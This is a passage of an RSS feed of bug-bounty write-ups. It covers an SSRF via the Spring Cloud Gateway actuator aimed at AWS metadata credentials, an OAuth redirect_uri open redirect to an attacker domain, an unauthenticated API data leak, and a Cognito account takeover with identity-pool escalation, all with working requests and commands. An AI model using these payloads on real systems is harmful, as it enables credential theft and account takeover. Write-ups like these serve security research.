      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Fri, 21 Feb 2025 22:51:06 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/ssrf-via-spring-cloud-gateway-26h6</link>
      <guid>https://dev.to/davidkarpinski/ssrf-via-spring-cloud-gateway-26h6</guid>
      <description>&lt;p&gt;In Bug Bounty programs, it's extremelly common to find subdomains without a defined index, redirecting to the default Spring framework error page (with or without a defined &lt;code&gt;/error&lt;/code&gt; route).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjbadjr72d4f7us5jz3lu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjbadjr72d4f7us5jz3lu.png" alt=" " width="660" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is also very common to find lib routes (there is a good wordlist in &lt;a href="https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/spring-boot.txt" rel="noopener noreferrer"&gt;SecLists&lt;/a&gt; repository specific for Spring Boot applications), such as &lt;code&gt;/actuator/gateway&lt;/code&gt;, that return the status code 403 Forbidden (configuration defined in Nginx).&lt;/p&gt;

&lt;p&gt;Due to inconsistencies in HTTP parsers, it is usually possible to bypass these controls by just adding the character ';' (or encoded '\x09'), in this specific case of Spring Boot in versions &amp;lt; 2.7 (since it removes such characters, while Nginx does not).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl 'https://redacted/actuator;' | jq
{
  "_links": {
    "self": {
      "href": "http://redacted.com/actuator;",
      "templated": false
    },
    "gateway": {
      "href": "http://redacted.com/actuator;/gateway",
      "templated": false
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spring Cloud Gateway is a service that performs forwarding to other applications and returns the response on the route. In other words, this means that we can take advantage of this functionality to exploit an SSRF, and, if the server is hosted on a cloud service, it may be possible to access the Metadata service and obtain temporary access credentials. Often, you can create routes by making a POST request to &lt;code&gt;/actuator;/gateway/routes/{route_id}&lt;/code&gt; with the following body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "id": "first",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [
      "StripPrefix=2"
  ],
  "uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
  "order": 0
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After creating the route, it is necessary to refresh the route cache by sending a POST (yes, POST) request to &lt;code&gt;/actuator;/gateway/refresh&lt;/code&gt; with no content in the response body. From then on it will be possible to trigger SSRF just by requesting the &lt;code&gt;/first&lt;/code&gt; route.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhkbe0hyv59bz9ognfkw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhkbe0hyv59bz9ognfkw.png" alt=" " width="797" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This way we would gain access to the AWS account and control over certain resources.&lt;/p&gt;

</description>
      <category>ssrf</category>
      <category>spring</category>
      <category>springboot</category>
      <category>403bypass</category>
    </item>
    <item>
      <title>Easy Bug: Open-Redirect on OAuth 2.0 redirect_uri param</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Wed, 19 Feb 2025 22:28:28 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/easy-bug-open-redirect-on-oauth-20-redirecturi-param-2h8f</link>
      <guid>https://dev.to/davidkarpinski/easy-bug-open-redirect-on-oauth-20-redirecturi-param-2h8f</guid>
      <description>&lt;p&gt;One of the most basic bugs present in insecure OAuth 2.0 implementations is the possibility of redirecting users to an attacker-controlled server by sending their authentication tokens along with it.&lt;/p&gt;

&lt;p&gt;Those who are more familiar with OAuth will know that OAuth requests have several parameters, each with a specific functionality. If the configuration is done insecurely, it is possible to manipulate the &lt;code&gt;redirect_uri&lt;/code&gt; parameter and assign it arbitrary values. A common defense mechanism is to validate whether the URI begins with the URL of the legitimate domain. However, an attacker simply needs to register a domain that begins with the domain name to bypass this validation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://accounts.redacted.com/api/auth?response_type=code&amp;amp;redirect_uri=http%3A%2F%2Fredacted.comattacker.com%2Fapi%2Fauth%2Fcallback&amp;amp;state=REDACTED&amp;amp;client_id=REDACTED&amp;amp;filter_callback=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjshfsdlx91pqkecmpuur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjshfsdlx91pqkecmpuur.png" alt=" " width="598" height="343"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To mitigate this vulnerability, the best thing to do is to validate the &lt;code&gt;redirect_uri&lt;/code&gt; parameter completely, and not just checking if it starts with a specific term.&lt;/p&gt;

</description>
      <category>bugbounty</category>
      <category>oauth</category>
      <category>openredirect</category>
      <category>authentication</category>
    </item>
    <item>
      <title>From debug mode enabled to PII disclosure via BFLA</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Tue, 18 Feb 2025 17:19:19 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/from-debug-mode-enabled-to-pii-disclosure-via-bfla-1j5p</link>
      <guid>https://dev.to/davidkarpinski/from-debug-mode-enabled-to-pii-disclosure-via-bfla-1j5p</guid>
      <description>&lt;p&gt;Today I bring a recent case, when analyzing the authentication flow of an application, I observed a call to an API endpoint from a "forgotten" subdomain (unfortunately I can't give more details).&lt;/p&gt;

&lt;p&gt;It was immediately clear that it was an API in Django REST Framework and that debug mode was enabled and some endpoints were also revealed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F996ho8u5g3y8uffd3xtk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F996ho8u5g3y8uffd3xtk.png" alt=" " width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By accessing the &lt;code&gt;/swagger&lt;/code&gt; route, I got information about requests and parameters, such as reading information from organizations. The point is that the "id" parameter was a large and unpredictable number, so it was necessary to know the identifier of an organization to query its information. The DELETE and POST methods were also documented (although POST was disabled).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft4expua2hoq9ahxoqmjm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft4expua2hoq9ahxoqmjm.png" alt=" " width="800" height="316"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interestingly, when sending a request omitting the "id" parameter, information about all organizations was returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl https://redacted.com/api/organization?id=&amp;amp;format=json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gh6nfwcajzdkhhqp42i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gh6nfwcajzdkhhqp42i.png" alt=" " width="800" height="566"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In other words, a Broken Function-Level Authorization since without any type of authentication it was possible to access data from all organizations!&lt;/p&gt;

</description>
      <category>django</category>
      <category>pii</category>
      <category>swagger</category>
      <category>bfla</category>
    </item>
    <item>
      <title>Attacking Misconfigured Amazon Cognito: Zero-Click Account Takeover</title>
      <dc:creator>David Karpinski</dc:creator>
      <pubDate>Mon, 17 Feb 2025 13:25:04 +0000</pubDate>
      <link>https://dev.to/davidkarpinski/attacking-misconfigured-amazon-cognito-zero-click-account-takeover-56m9</link>
      <guid>https://dev.to/davidkarpinski/attacking-misconfigured-amazon-cognito-zero-click-account-takeover-56m9</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Amazon Cognito is a delegated service for providing authentication/authorization and user management in general. Also in addition to basic auth OAuth via Identity Providers like Google or even enterprise standards like OpenID. To understand AWS Cognito authentication flow, we need to take a look at its components: user pool and identity pool.&lt;/p&gt;

&lt;h2&gt;
  
  
  User Pool
&lt;/h2&gt;

&lt;p&gt;The User Pool is like a directory of users, which can be created directly in the AWS panel, as well as under user control (either in the flow in the application that implements the AWS Cognito SDK or interacting directly with the service).&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity Pool
&lt;/h2&gt;

&lt;p&gt;Identity Pool provides AWS temporary credentials that can eventually have higher permissions, providing more privileged access to other services. It is not uncommon to find Identity Pool IDs in frontend code or in the request flow in the application.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tcbjs7zhm4r2svjq8w4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tcbjs7zhm4r2svjq8w4.png" alt=" " width="592" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Zero-Click Account Takeover
&lt;/h2&gt;

&lt;p&gt;One common case is when logging into the application and intercepting the request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST / HTTP/2
Host: cognito-idp.us-east-2.amazonaws.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 222 

{
    "AuthFlow": "USER_PASSWORD_AUTH",
    "ClientId": "REDACTED",
    "AuthParameters": {
        "USERNAME":" attacker@redacted.com",
        "PASSWORD": "REDACTED",
        "DEVICE_KEY": "REDACTED"
    },
    "ClientMetadata": {}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Imagine that tokens are returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "AuthenticationResult": {
            "AccessToken": "REDACTED",
            "ExpiresIn": 3800,
            "IdToken": "REDACTED",
            "RefreshToken": "REDACTED",
            "TokenType": "Bearer"
        },
    "ChallengeParameters": {}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application would then send another request to Cognito sending the access token as a parameter (and the &lt;code&gt;X-Amz-Target: AWSCognitoIdentityProviderService.GetUser&lt;/code&gt; header) to fetch user attributes.&lt;/p&gt;

&lt;p&gt;The interesting part is that, as attackers, we can use this access token to interact directly with the service via the command line and, in this way, modify attributes (which, according to the application's business logic, should be immutable):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws --no-verify-ssl cognito-idp update-user-attributes --access-token REDACTED --user-attributes 'Name=emailAddr,Value=someoneelse@redacted.com' --region us-east-2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we changed the email parameter (it could be a user ID or something else) but kept our known password, we can takeover another user's account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identity Pool Escalation
&lt;/h2&gt;

&lt;p&gt;Another case is that we have obtained a JWT token and want to escalate to Identity Pool. We can use &lt;a href="https://gist.github.com/ThomasLachaux/576b678f7f463dbbb2925b1ddb21541e" rel="noopener noreferrer"&gt;this&lt;/a&gt; script to obtain temporary credentials from AWS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 ./cognito-escalation.py --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED | tee $HOME/.aws/config/credentials.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another cool tool is &lt;a href="http://github.com/padok-team/cognito-scanner" rel="noopener noreferrer"&gt;Cognito-Scanner&lt;/a&gt;, which is very intuitive and practical to use.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cognito-scanner --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the &lt;code&gt;console&lt;/code&gt; command in the &lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu Framework&lt;/a&gt; we can scale access to the AWS console in the browser, making exploration easier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdkp8k84nwl02zb4yjrip.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdkp8k84nwl02zb4yjrip.png" alt=" " width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cognito</category>
      <category>cloud</category>
      <category>bugbounty</category>
    </item>
  </channel>
</rss>
